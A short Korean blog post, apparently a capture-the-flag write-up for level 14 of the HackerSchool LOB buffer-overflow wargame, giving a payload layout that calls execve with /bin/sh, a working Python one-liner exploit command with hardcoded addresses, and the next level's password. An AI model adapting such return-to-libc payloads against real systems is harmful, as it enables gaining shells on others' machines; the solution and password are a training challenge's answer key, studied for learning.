Hacking/LOB(RedHat)

HackerSchool LOB Level 14

Hagler 2015. 8. 10. 20:30


코드를 해석해보자면

간단히말해서 execve함수를 사용해서 풀라는 뜻이다.

페이로드는 [non 44] [&execve] [non 4] [/bin/sh] [argv0]  [nob]

./$"`python -c 'print "\xf9\xbf\x0f\x40"'`" "`python -c 'print "\x90"*44+"\x48\x9d\x0a\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"+"\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"'`"


비밀번호는 one step closer 이다